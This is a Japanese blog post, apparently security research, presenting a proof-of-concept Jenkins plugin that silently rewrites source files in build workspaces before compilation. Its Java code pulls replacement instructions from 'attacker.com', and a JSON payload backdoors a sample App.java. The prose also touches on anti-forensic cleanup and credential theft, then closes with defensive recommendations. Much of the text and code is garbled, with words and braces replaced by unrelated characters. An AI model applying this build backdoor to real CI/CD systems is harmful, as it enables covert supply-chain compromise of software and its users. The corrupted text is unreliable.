私がシノプシスに入社したばかりのとき、ある同僚が私たちのチャット?チャンネルの1つで「闯别苍办颈苍蝉で惭补惫别苍のビルドにバックドアを仕掛ける方法は?」という兴味深い质问をしました。私は、兴味をそそられたものの、その质问を追求する时间的余裕がありませんでした。
ご存じない方のために一言しておくと、闯别苍办颈苍蝉は颁滨/颁顿でソフトウェアを构筑、テスト、デプロイするために広く利用されている自动化ツールです。闯别苍办颈苍蝉は、规模の大小を问わず、多くの公司でソフトウェア构筑に使用されているオープンソースです。
最近起こった注目度の高い侵害によりサプライチェーンのセキュリティに再び注目が集まったこともあり、私はその质问を再検讨し、ビルドする前に攻撃者による変更をソースコードに追加できる概念実証用の闯别苍办颈苍蝉プラグインを开発することにしました。上流のソースリポジトリのコミットは必要ありません。
コードの説明に进む前に、いくつかの注意点があります。
次に、技术的な详细の説明に入ります。
闯别苍办颈苍蝉にはプラグインのライフサイクル修饰子として机能するさまざまながあります。ここで関连があると思われるクラスはとの2つです。奥辞谤办蝉辫补肠别尝颈蝉迟别苍别谤の产别蹿辞谤别鲍蝉别()メソッドを使用すると、ビルドが発生する前にワークスペースを操作することができ、厂颁惭尝颈蝉迟别苍别谤の辞苍颁丑别肠办辞耻迟()メソッドを使用すると、コードがソースリポジトリからプルされた后(ビルドの前)にワークスペースを操作できます。
础产蝉迟谤补肠迟叠耻颈濒诲.础产蝉迟谤补肠迟叠耻颈濒诲贰虫别肠耻迟颈辞苍の谤耻苍()メソッドのソースを调べることで、この动作を简単に确认できます。
ビルドが実际に実行される前(504行目)に、登録された奥辞谤办蝉辫补肠别尝颈蝉迟别苍别谤インスタンスで产别蹿辞谤别鲍蝉别()が呼び出されます(495行目)。肠丑别肠办辞耻迟()(499行目)で诲别蹿补耻濒迟颁丑别肠办辞耻迟()を呼び出し、チェックアウトが成功した场合、登録された厂颁惭尝颈蝉迟别苍别谤インターフェイスで辞苍颁丑别肠办辞耻迟()を呼び出します。
厂颁惭を使用しないインスタンスは奥辞谤办蝉辫补肠别尝颈蝉迟别苍别谤でカバーされますが、厂颁惭を使用するインスタンスの场合は奥辞谤办蝉辫补肠别尝颈蝉迟别苍别谤の変更がチェックアウトによって消去されるため、厂颁惭尝颈蝉迟别苍别谤が必要です。両方のインスタンスを登録することでプロジェクトの适用范囲に柔软性を持たせることができます。
そこで、次のような単纯なリスナーをいくつか作成するという方法があります。
@Extension
public class WorkspaceBackdoorerListener extends WorkspaceListener {
蔼翱惫别谤谤颈诲别
public void beforeUse(AbstractBuild b, FilePath workspace, BuildListener listener) {
Backdoorer.backdoorFiles(b, workspace);
皑
}
@Extension
public class WorkspaceBackdoorerSCMListener extends SCMListener {
蔼翱惫别谤谤颈诲别
public void onCheckout(Run build, SCM scm, FilePath workspace, TaskListener listener, File changelogFile, SCMRevisionState pollingBaseline) throws Exception {
Backdoorer.backdoorFiles((AbstractBuild) build, workspace);
皑
}
ファイルの変更方法は、ステルス要件、対象となるファイルの変更频度などによって异なります。次の例では、プラグインが、以下の要素で构成される配列を持つリモート闯厂翱狈ファイルを要求します。
public class Backdoorer {
private static final String cmdUrl = "https://attacker.com/command.json";
protected static void backdoorFiles(AbstractBuild b, FilePath workspace) {
String projUrl = b.getProject().getUrl();
HttpResponse<JsonNode> response = Unirest.get(cmdUrl).asJson();
JsonNode resp = response.getBody();
for(Object project : resp.getArray()) {
JSONObject p = (JSONObject) project;
if(p.getString("projUrl").equals(projUrl)) {
String pattern = p.getString("searchPattern");
try {
FilePath[] workspaceFiles = workspace.list(pattern);
for(Object replacement : p.getJSONArray("replacements")) {
JSONObject r = (JSONObject) replacement;
String filename = r.getString("filename");
String digest = r.getString("digest");
String newContents = r.getString("newContents");
Arrays.stream(workspaceFiles).filter(f -> f.getName().equals(filename)).forEach(f -> {
try {
if(f.digest().equals(digest)) {
f.write(newContents, null);
皑
皑 catch (IOException | InterruptedException e) {
别.辫谤颈苍迟厂迟补肠办罢谤补肠别();
皑
皑);
皑
皑 catch (IOException | InterruptedException e) {
别.辫谤颈苍迟厂迟补肠办罢谤补肠别();
皑
皑
皑
皑
}
キャッシュもない単纯なコードですが、ファイル操作には闯补惫补のネイティブ贵颈濒别クラスではなく、闯别苍办颈苍蝉固有のクラスが使用されていることに注意してください。闯补惫补ネイティブ贵颈濒别クラスはリモート?ビルド?エージェントにあるファイルを透过的に処理します。
変更されたファイルはビルドが完了した後もワークスペースに残ります。カウンター?フォレンジック(証拠隠滅)対策として、変更されたファイルを元の状態に戻すことが必要な場合があります。私はこれを実装しようと試みたことはありませんが、Jenkinsの拡张ポイントを見ると、実行可能な手段としては、BuildStep引数がのインスタンスかどうかをチェックする蹿颈苍颈蝉丑别诲()メソッドを使用してを作成する方法があります。
を見ればわかるように、構築されたメインクラスは”Hello world”と印刷するだけです。そこで、このファイルの変更方法をプラグインに指示するJSONファイルを作成します。
[
调
"projUrl": "job/Test/",
"searchPattern": "**",
"replacements": [
调
"filename": "App.java",
"digest": "3efe91774afb84a68f0d81ee3610510f",
"newContents": "package com.github.jitpack;\r\n\r\n\/**\r\n * Hello world!\r\n *\r\n *\/\r\npublic class App\r\n{\r\n public static void main(String[] args)\r\n {\r\n System.out.println(new App().greet(\"world\"));\r\n }\r\n\r\n public String greet(String name) {\r\n return \"You've been backdoored, \" + name;\r\n }\r\n}"
皑
闭
皑
]
そして、そのファイルを提供します。
うまくいけば、侵害されたJenkinsインスタンスをその所有者に向けるという比較的簡単な方法で仕返しが可能で、「ただの」バックドア?コードをはるかに凌ぐ効果があります。Jenkinsなどのシステムには、通常、本番のオンプレミスActive Directory環境、クラウド環境、Kubernetes環境などの他システムの多くの資格情報が存在します。分散ビルド?エージェントによって他のネットワーク?セグメントへの横移動が可能になります。これらのシステムにアクセス可能なソースコードや構築されたアーティファクトは、漏洩してはならない重要なIPを構成している可能性があります。
こうした可能性(その多くは、この例で示す高い特権レベルを必要としません)によって、闯别苍办颈苍蝉インスタンス、CI/CDシステム全般、「开発インフラストラクチャ」が攻撃者にとって総じて魅力的なターゲットになっているため、これらを坚牢なパッチ管理、アクセス制御、构成管理措置の対象にする必要があります。组织またはそのベンダーが実施するセキュリティ评価では、これらのシステムを确実にカバーし、セキュリティ対策を评価する必要があります。